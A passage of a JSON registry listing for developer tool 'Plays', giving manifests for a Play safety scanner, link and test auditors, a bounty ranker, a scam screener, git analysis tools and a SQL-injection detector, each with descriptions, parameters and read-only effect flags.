1635074877."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:5a1a8afd250bcd2b5ccff6920ba19f5aa737126e16271d032e9de92f601f05eb","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/mishraaditya/play-vet@0.1.1","reference":"mishraaditya/play-vet@0.1.1","uri":"https://play.modiqo.ai/mishraaditya/play-vet@0.1.1","manifest_uri":"https://play.modiqo.ai/mishraaditya/play-vet@0.1.1","name":"play-vet","title":"play-vet","description":"Safety scanner for rote Plays: reads a Play's source code and reports what it actually does — every website it contacts, file it writes, process it launches, credential it touches — then compares the declared claims against the real code and gives a GREEN/YELLOW/RED verdict with exact file-and-line evidence. Run this before trusting any stranger's Play.","owner":{"kind":"user","slug":"mishraaditya"},"registry_organization":"mishraaditya","tags":["security","inspection","safety","hackathon"],"primary_domain":"domain-uncategorized","author":"mishraaditya","version":"0.1.1","published_at":"2026-09-06T11:12:27.781005+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6107,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":3,"names":["analyze","read_source","resolve_play"]},"parameters":[{"name":"play_ref","type":"string","required":true,"description":"Play name or path to inspect (e.g. modiqo/hello or /path/to/play)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:5c7a493c2b2363188b9d5f1b309e6ea517ed3f729ca8e0d7cddcbeeacdfe9777","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/akshatgupta/rank-check@0.1.2","reference":"akshatgupta/rank-check@0.1.2","uri":"https://play.modiqo.ai/akshatgupta/rank-check@0.1.2","manifest_uri":"https://play.modiqo.ai/akshatgupta/rank-check@0.1.2","name":"rank-check","title":"rank-check","description":"Finds out whether anyone can actually find your Play, and where there is still room in the registry. One line, no arguments: rote play run akshatgupta/rank-check, and you get a map of which parts of the registry are crowded and which are empty, measured live rather than guessed. Add play=your-play-name and it audits yours. The finding it exists for: there are two tag fields and they do different jobs. rote play score rewards a top-level tags block. The search index reads metadata.discoverability.tags. Fill in one and not the other, as I had done on all four of mine, and you score a clean 1.00 while being invisible for most of what you tagged. This reads both fields off your play on disk, prints the tags that are earning you points but are missing from the field search reads, then goes and tests every one of them against the live registry so you can see the ranks rather than take my word for it. It also derives the words your own description actually leans on and checks those, because the description is a search surface whether you meant it to be or not. It is careful about one thing in particular: a term is only reported as not matching you when the search did not even fill its page, because being absent from a full page of results means you were outranked, which is a different problem with a different fix. Everything is read-only. It shells out to rote play search and rote play inspect, both of which only look, and it writes nothing anywhere.","owner":{"kind":"user","slug":"akshatgupta"},"registry_organization":"akshatgupta","tags":["registry","search","discovery","tags","ranking","effect-read-only"],"primary_domain":"domain-uncategorized","author":"akshatgupta","version":"0.1.2","published_at":"2026-09-06T07:08:55.279699+00:00","visibility":"public","quality_score":1,"size_bytes":13365,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":2,"names":["rank","collect"]},"parameters":[{"name":"play","type":"string","required":false,"default":"-","description":"Optional. A play to audit. A local name like my-play, an absolute path to its main.ts, or a registry reference like owner/name. A local play is read off disk so both tag fields can be compared, which is the main thing this does.","example":"my-play"},{"name":"extra","type":"string","required":false,"default":"-","description":"Extra comma separated terms you expected to be found by, tested alongside the ones read off the play","example":"bounty,money,jobs"},{"name":"depth","type":"string","required":false,"default":"20","description":"How many results deep to look on each search. The registry silently returns nothing above 50, so this is capped there.","example":"20"},{"name":"limit","type":"string","required":false,"default":"12","description":"Rows to show in each list","example":"12"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:121643a3aeb97ccc18c98e0b0c6f0884411887d87a079e04a9dec476ce24e5ff","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/akshatgupta/markdown-link-audit@0.1.5","reference":"akshatgupta/markdown-link-audit@0.1.5","uri":"https://play.modiqo.ai/akshatgupta/markdown-link-audit@0.1.5","manifest_uri":"https://play.modiqo.ai/akshatgupta/markdown-link-audit@0.1.5","name":"markdown-link-audit","title":"markdown-link-audit","description":"Finds the dead links in your markdown docs and tells you which ones are really broken. One line to run it: rote play run akshatgupta/markdown-link-audit root=$PWD. Needs only python3 and curl. No API keys, no credentials, no adapters. It checks relative paths, heading anchors and external URLs. Redirects are reported as their own class, so you can see the docs that still point at a repo that moved or was renamed. Most link checkers follow those silently and call them fine. A link is only called broken on a definite 404. Anything the network cannot answer is labelled inconclusive instead of being counted as dead.","owner":{"kind":"user","slug":"akshatgupta"},"registry_organization":"akshatgupta","tags":["documentation","links","markdown","audit","effect-read-only"],"primary_domain":"domain-uncategorized","author":"akshatgupta","version":"0.1.5","published_at":"2026-09-06T07:08:52.699216+00:00","visibility":"public","quality_score":1,"size_bytes":12413,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":2,"names":["audit_links","discover_markdown"]},"parameters":[{"name":"root","type":"string","required":false,"default":"-","description":"Repository directory to audit. Pass an absolute path, for example root=$PWD. Left unset it audits the small demo tree bundled with this Play, so a first run shows you a real report before you point it at your own docs.","example":"$PWD"},{"name":"depth","type":"string","required":false,"default":"10","description":"How many directory levels below root to search","example":"10"},{"name":"max_files","type":"string","required":false,"default":"500","description":"Cap on markdown files analysed, shallowest first","example":"500"},{"name":"concurrency","type":"string","required":false,"default":"4","description":"Parallel external URL checks; non-OK results are always re-verified serially","example":"4"},{"name":"timeout","type":"string","required":false,"default":"20","description":"Per-request HTTP timeout in seconds","example":"20"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:706f70736d83aa8789feb52f1edc9ee72687e3a7206e17fcbffe14d4ce814fb5","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1},{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/akshatgupta/bounty-run@0.1.4","reference":"akshatgupta/bounty-run@0.1.4","uri":"https://play.modiqo.ai/akshatgupta/bounty-run@0.1.4","manifest_uri":"https://play.modiqo.ai/akshatgupta/bounty-run@0.1.4","name":"bounty-run","title":"bounty-run","description":"Open source issues that pay, ranked by what you are actually likely to collect. One line, no arguments: rote play run akshatgupta/bounty-run. Add root=$PWD and it reads the languages on your disk and re-ranks around them. Rows are ordered by expected value, the amount times your odds, because the nine thousand dollar issue with twenty three comments and a non-maintainer author is not the one you get paid for. The odds are arithmetic on fields GitHub returns, never a model's opinion: assigned, thread size, age, whether the person who priced it can actually pay, and whether the repository is archived, forked, idle or two days old. It also catches two traps nobody checks. A bounty whose title is open in a second repository, meaning one scraped the other and the money is at the original. And a repository name sitting under several accounts at once, meaning personal forks of one upstream. Every deduction prints next to the row that earned it, so you can disagree with any of them by eye. Needs python3 and curl. No API key, no token, no adapters, nothing written. The sweep is unauthenticated public search, so it is rate limited: it waits out the one-minute window and finishes rather than handing you an empty table, and says when it was cut short. If you pass root, your top two language names become search terms; no path, file name or file content ever leaves the machine.","owner":{"kind":"user","slug":"akshatgupta"},"registry_organization":"akshatgupta","tags":["bounty","money","opensource","github","jobs","effect-read-only"],"primary_domain":"domain-uncategorized","author":"akshatgupta","version":"0.1.4","published_at":"2026-09-06T07:08:44.524313+00:00","visibility":"public","quality_score":1,"size_bytes":18734,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":2,"names":["find_bounties","profile_skills"]},"parameters":[{"name":"root","type":"string","required":false,"default":"-","description":"Optional. A directory to read your languages and manifests from, so rows are ranked against what you actually write. Absolute path, for example root=$PWD. Left unset the Play still runs, ranked on amount and odds alone.","example":"$PWD"},{"name":"languages","type":"string","required":false,"default":"-","description":"Optional comma separated languages to rank against instead of scanning a directory, for example languages=go,rust.","example":"go,rust"},{"name":"limit","type":"string","required":false,"default":"25","description":"How many rows to print, worth first","example":"25"},{"name":"min_amount","type":"string","required":false,"default":"1","description":"Ignore issues priced below this many dollars. Set 0 to include issues whose amount could not be read.","example":"100"},{"name":"verify","type":"string","required":false,"default":"12","description":"How many repositories to check for archived, forked, idle and star count. Each costs one unauthenticated API call out of sixty per hour. Set 0 to skip.","example":"12"},{"name":"per_repo","type":"string","required":false,"default":"2","description":"Most rows any one repository may contribute, so a single bounty farm cannot become the whole report","example":"2"},{"name":"timeout","type":"string","required":false,"default":"25","description":"Per request HTTP timeout in seconds","example":"25"},{"name":"retry_wait","type":"string","required":false,"default":"75","description":"Most seconds to wait for GitHub's one-minute search window to refill before giving up on a sweep. Set 0 to never wait and accept a partial run.","example":"75"},{"name":"depth","type":"string","required":false,"default":"8","description":"How many directory levels below root to scan when building your profile","example":"8"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:5b6cdece59a32a2f295243dd74ce9c6fb51b2b5c6e36261b04a849ba3ee0c611","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1},{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/shambhavi/scamcheck@0.2.0","reference":"shambhavi/scamcheck@0.2.0","uri":"https://play.modiqo.ai/shambhavi/scamcheck@0.2.0","manifest_uri":"https://play.modiqo.ai/shambhavi/scamcheck@0.2.0","name":"scamcheck","title":"scamcheck","description":"Screen suspicious messages for common scam warning signals.","owner":{"kind":"user","slug":"shambhavi"},"registry_organization":"shambhavi","tags":["developer-tools","safety","links","message-screening"],"primary_domain":"domain-uncategorized","author":"Shambhavi","version":"0.2.0","published_at":"2026-09-06T06:57:46.1128+00:00","visibility":"public","quality_score":1,"size_bytes":1462,"license":"MIT","stats":{"downloads":5,"installs":0},"steps":{"count":1,"names":["check"]},"parameters":[{"name":"text","type":"string","required":true,"description":"Message, email, offer, or link text to screen."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:ffb74ab8f0d35e5a8a85ec03aeca3023b7828bf2af6e290ebe9ddd10ab708ce4","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rajdeepkushwaha/backport-gate@0.1.3","reference":"rajdeepkushwaha/backport-gate@0.1.3","uri":"https://play.modiqo.ai/rajdeepkushwaha/backport-gate@0.1.3","manifest_uri":"https://play.modiqo.ai/rajdeepkushwaha/backport-gate@0.1.3","name":"backport-gate","title":"backport-gate","description":"You fixed a bug on your main branch. You also still support older versions, like 1.x and 2.x. Can the fix go there too? This looks at each of those branches and tells you one of four things. It goes on cleanly. It clashes, and someone will have to sort that out by hand: it names the files, and says whether the clash is two versions of the same file or a file that branch does not have at all, because those need different decisions. It is already there, including when it was copied over earlier and so has a different commit id. Or, the one worth having, it goes on cleanly and would still break that branch, because it uses something that was never added there. On the bundled example that branch really does fail with an ImportError after a copy that git called clean. The obvious way to ask git this question quietly answers a different one: it tells you what would happen if you brought everything since the fix along with it, which makes a broken result look fine. This asks about the one commit on its own, and a bundled test fails if anyone changes it back. Nothing in your repository is touched: no branches, no commits, nothing checked out, and every git command it is able to run is on a read-only list. Run it with no settings at all to see a small example. A clean result is not a promise that the branch still works, because no test is run, and it says so. Needs python3 and git. No network, no accounts, no keys.","owner":{"kind":"user","slug":"rajdeepkushwaha"},"registry_organization":"rajdeepkushwaha","tags":["git","backport","release","cherry-pick","maintenance"],"primary_domain":"domain-uncategorized","author":"rajdeepkushwaha","version":"0.1.3","published_at":"2026-09-06T03:17:29.088413+00:00","visibility":"public","quality_score":1,"size_bytes":36239,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":3,"names":["plan","rehearse","selfcheck"]},"parameters":[{"name":"root","type":"string","required":false,"default":"demo","description":"Absolute path to the repository, or the word demo for the bundled one"},{"name":"fix","type":"string","required":false,"default":"HEAD","description":"The commit to carry back. Any git revision; defaults to HEAD"},{"name":"branches","type":"string","required":false,"default":"","description":"Comma-separated branches. Empty discovers release-shaped local branches"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:bf2e24803c3810f2ee2f0eb5d07f1c800cdc131a090ed4885cbb5fbdbd48fb1f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rajdeepkushwaha/rework-rate@0.2.2","reference":"rajdeepkushwaha/rework-rate@0.2.2","uri":"https://play.modiqo.ai/rajdeepkushwaha/rework-rate@0.2.2","manifest_uri":"https://play.modiqo.ai/rajdeepkushwaha/rework-rate@0.2.2","name":"rework-rate","title":"rework-rate","description":"Code that gets reviewed and merged still gets thrown away, and nobody counts how often. This does, from git alone. For each commit it asks git which lines that commit added, then asks which of those lines are still in the file today and when the rest disappeared. Three answers. STILL_STANDING means the lines are still there. REWRITTEN_WITHIN_WINDOW means most of them were replaced within the window you set, thirty days by default, which is the shape of work that looked finished and was not. SUPERSEDED_LATER means they were replaced, but long after, which is just a codebase moving on. That last one matters more than it sounds: ranking by what survives to today puts dependency bumps at the top, because a pinned version line is meant to be replaced by the next bump, and telling those apart is the whole job. A commit younger than the window is never judged at all, because it has not had time to be rewritten, and calling that survival would be a lie. Bot authored commits are marked so you can read past them. Pass root=demo to try it on a small bundled repository with nothing set up. Before it reads your history it runs its own test cases through the same analyzer and prints the result. If those fail it shows you that instead of findings. It never checks anything out and never writes to your repository. Read-only, no credentials, no network. Needs python3 and git.","owner":{"kind":"user","slug":"rajdeepkushwaha"},"registry_organization":"rajdeepkushwaha","tags":["git","code-review","agent-ops","effect-read-only"],"primary_domain":"domain-uncategorized","author":"rajdeepkushwaha","version":"0.2.2","published_at":"2026-09-06T03:17:19.387897+00:00","visibility":"public","quality_score":1,"size_bytes":23112,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":3,"names":["survey","measure","selfcheck"]},"parameters":[{"name":"root","type":"string","required":false,"default":"demo","description":"Absolute path to the repository to read, or \"demo\" for the bundled one. A relative path is refused, because a step runs in rote's workspace rather than your shell directory."},{"name":"commits","type":"string","required":false,"default":"300","description":"How many recent commits to read. More history costs more time and finds older rework."},{"name":"window_days","type":"string","required":false,"default":"30","description":"How soon a rewrite has to happen to count as rework rather than the codebase moving on."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:bb4ac789e116e180b065aa187c8b89d5563d0298baab1c5b183c2b4aea153aed","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/tracked-leaks@0.4.3","reference":"lgoyal6/tracked-leaks@0.4.3","uri":"https://play.modiqo.ai/lgoyal6/tracked-leaks@0.4.3","manifest_uri":"https://play.modiqo.ai/lgoyal6/tracked-leaks@0.4.3","name":"tracked-leaks","title":"tracked-leaks","description":"Adding a pattern to .gitignore does nothing for a file that is already tracked. That is why the same leak keeps coming back. This finds the files git is TRACKING that should never have been committed, and the gap between what a repository's .gitignore claims to exclude and what its index holds. Every finding is checked with `git check-ignore --no-index`, then dated and tested for reachability from a remote-tracking ref, because a pushed secret is a rotation job and an unpushed one is a rebase. Precision is the point: `.env.example` and its siblings are meant to be committed and are never flagged; a `!`-negated ignore rule is read as the repository re-including a file rather than as a gap; a credential-shaped file under a test fixture is reported apart from one at the repository root; and a `.pem` with no PRIVATE KEY header, or an `.npmrc` with no auth token, is cleared by inspection instead of raised. Read-only, needs no credentials, and never prints the contents of any file it finds, only its path.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-security","engineering-workflows","job-secret-leak-audit","tool-git","effect-read-only","tracked-secrets","gitignore-gap","already-committed","check-ignore","pushed-secret","rotation-needed","env-file","pem-file","npmrc-token","never-prints-contents","audience-maintainers","audience-security-engineers","audience-developers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-security","author":"lgoyal6","version":"0.4.3","published_at":"2026-09-06T01:03:02.744698+00:00","visibility":"public","quality_score":1,"size_bytes":20421,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":2,"names":["forensics","inventory"]},"parameters":[{"name":"repo","type":"string","required":true,"description":"Path to the git repository to audit; a subdirectory resolves to its top level","example":"/Users/you/your-repo"},{"name":"remote","type":"string","required":false,"default":"origin","description":"Which remote decides whether a finding has already left this machine","example":"origin"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:84c73ac7b89b737ccba54b0f89f353b3308b0a95c1331885936dc9caf33d09d5","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":8,"for_each_steps":1,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/skipped-tests@0.3.3","reference":"lgoyal6/skipped-tests@0.3.3","uri":"https://play.modiqo.ai/lgoyal6/skipped-tests@0.3.3","manifest_uri":"https://play.modiqo.ai/lgoyal6/skipped-tests@0.3.3","name":"skipped-tests","title":"skipped-tests","description":"A stray `it.only` de-selects every sibling around it and the suite still reports green, because a de-selected test counts as skipped rather than failed. This inventories the tests that are not actually running, and finds the one that silently disables everything else. For each focus it reports how many siblings it takes down, whether the runner scopes it to one file or the whole run, and whether anything in the repository (--forbid-only, an eslint no-only-tests rule) would have caught it. It also inventories .skip, xit, pytest skip/skipif/xfail, unittest skip, Go t.Skip and build constraints, Rust #[ignore], JUnit @Disabled, googletest DISABLED_, and tests whose only assertion is commented out. Every finding is dated with git log on its own line, because a skip from two years ago is a different problem from yesterday's. Precision is the point: comment bodies and strings are masked first, so skipLibCheck, a lodash `.skip()` and a variable named skipped are not findings. Read-only, offline, no credentials.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","testing-workflows","job-test-suite-audit","tool-git","effect-read-only","skipped-tests","it-only","fdescribe","focused-test","green-but-not-running","pytest-skip","xfail","t-skip","rust-ignore","junit-disabled","test-todo","forbid-only","false-confidence","audience-developers","audience-maintainers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.3.3","published_at":"2026-09-06T01:03:00.235947+00:00","visibility":"public","quality_score":1,"size_bytes":40428,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":2,"names":["analyze","discover"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory tree to inventory for test files","example":"/Users/you/your-repo"},{"name":"depth","type":"string","required":false,"default":"8","description":"How many directory levels below root to search for test files","example":"4"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a3e589552f008c9427fcc5186ef70f0df4e915989bee962aec1bbf57d93f2f98","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":12,"for_each_steps":1,"complexity":2,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1},{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/unclosed-resources@1.3.4","reference":"lgoyal6/unclosed-resources@1.3.4","uri":"https://play.modiqo.ai/lgoyal6/unclosed-resources@1.3.4","manifest_uri":"https://play.modiqo.ai/lgoyal6/unclosed-resources@1.3.4","name":"unclosed-resources","title":"unclosed-resources","description":"A leaked file handle or connection works fine until the day it does not, and then it surfaces as \"too many open files\" a long way from the line that caused it. This finds where a codebase acquires an OS or database resource and does not reliably release it. Ranked by consequence, because not all leaks matter equally: an acquisition inside a loop or a per-request handler is critical, since it leaks per iteration and will eventually exhaust the limit; one released only on the straight-line path is high, because an early return or a raised exception skips it; one in main is medium, because process exit reclaims it. A Go `defer` inside a loop IS reported, because it runs at function return rather than at the end of the iteration. Handed-back, stored-on-self, pooled and already-guarded resources are excluded by name. Rust is deliberately not scanned: Drop makes the bug barely exist. Read-only, offline.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","reliability-workflows","job-resource-leak-audit","tool-static-analysis","effect-read-only","resource-leak","unclosed-file","too-many-open-files","connection-leak","context-manager","defer-close","connection-pool","leak-in-a-loop","early-return-skips-close","jdbc-connection","audience-developers","audience-sre","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"1.3.4","published_at":"2026-09-06T01:02:33.325981+00:00","visibility":"public","quality_score":1,"size_bytes":39469,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":3,"names":["verify","analyze","discover"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory tree whose source files should be audited for an unreleased resource. Must be ABSOLUTE, because a step runs in rote's own workspace rather than your shell directory, so a relative path would scan the wrong tree and report it clean","example":"/Users/you/project"},{"name":"depth","type":"string","required":false,"default":"8","description":"How many directory levels below root to search for source files","example":"4"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:21182dd9e109a388bc938ac688500bbe3ee3813f734f8b8dfef2e28c4042ca2b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":12,"for_each_steps":2,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/sql-string-building@1.3.4","reference":"lgoyal6/sql-string-building@1.3.4","uri":"https://play.modiqo.ai/lgoyal6/sql-string-building@1.3.4","manifest_uri":"https://play.modiqo.ai/lgoyal6/sql-string-building@1.3.4","name":"sql-string-building","title":"sql-string-building","description":"Parameterised queries have existed as long as SQL drivers have, and almost every codebase uses them almost everywhere. The bug is never the whole data layer, it is one forgotten place. This finds where a SQL statement is built from a string rather than from parameters: f-strings, .format() and concatenation in Python; template literals inside a SQL string in JS/TS; fmt.Sprintf in Go; concatenation reaching createStatement or executeQuery in Java and Kotlin; format! in Rust. Severity follows where the interpolated value comes from, which is the only part that tells you whether to stop what you are doing: critical when it traces to request data in the same function, high when a caller may control it, medium when it traces to a local literal. Interpolating a table or column name is reported in its own bucket and deliberately NOT called injection, because a placeholder cannot bind an identifier and the fix is an allowlist. Four correct patterns are never reported. Read-only, offline.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","security-workflows","job-injection-audit","tool-static-analysis","effect-read-only","sql-injection","string-concatenation","f-string-sql","template-literal-sql","fmt-sprintf","parameterized-query","prepared-statement","taint-source","one-forgotten-place","orm-raw-query","audience-developers","audience-security-engineers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"1.3.4","published_at":"2026-09-06T01:02:05.497994+00:00","visibility":"public","quality_score":1,"size_bytes":43161,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":3,"names":["verify","analyze","discover"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory tree whose sources should be audited for SQL built by string interpolation. Must be ABSOLUTE, because a step runs in rote's own workspace rather than your shell directory, so a relative path would scan the wrong tree and report it clean","example":"/Users/you/project"},{"name":"depth","type":"string","required":false,"default":"8","description":"How many directory levels below root to search for source 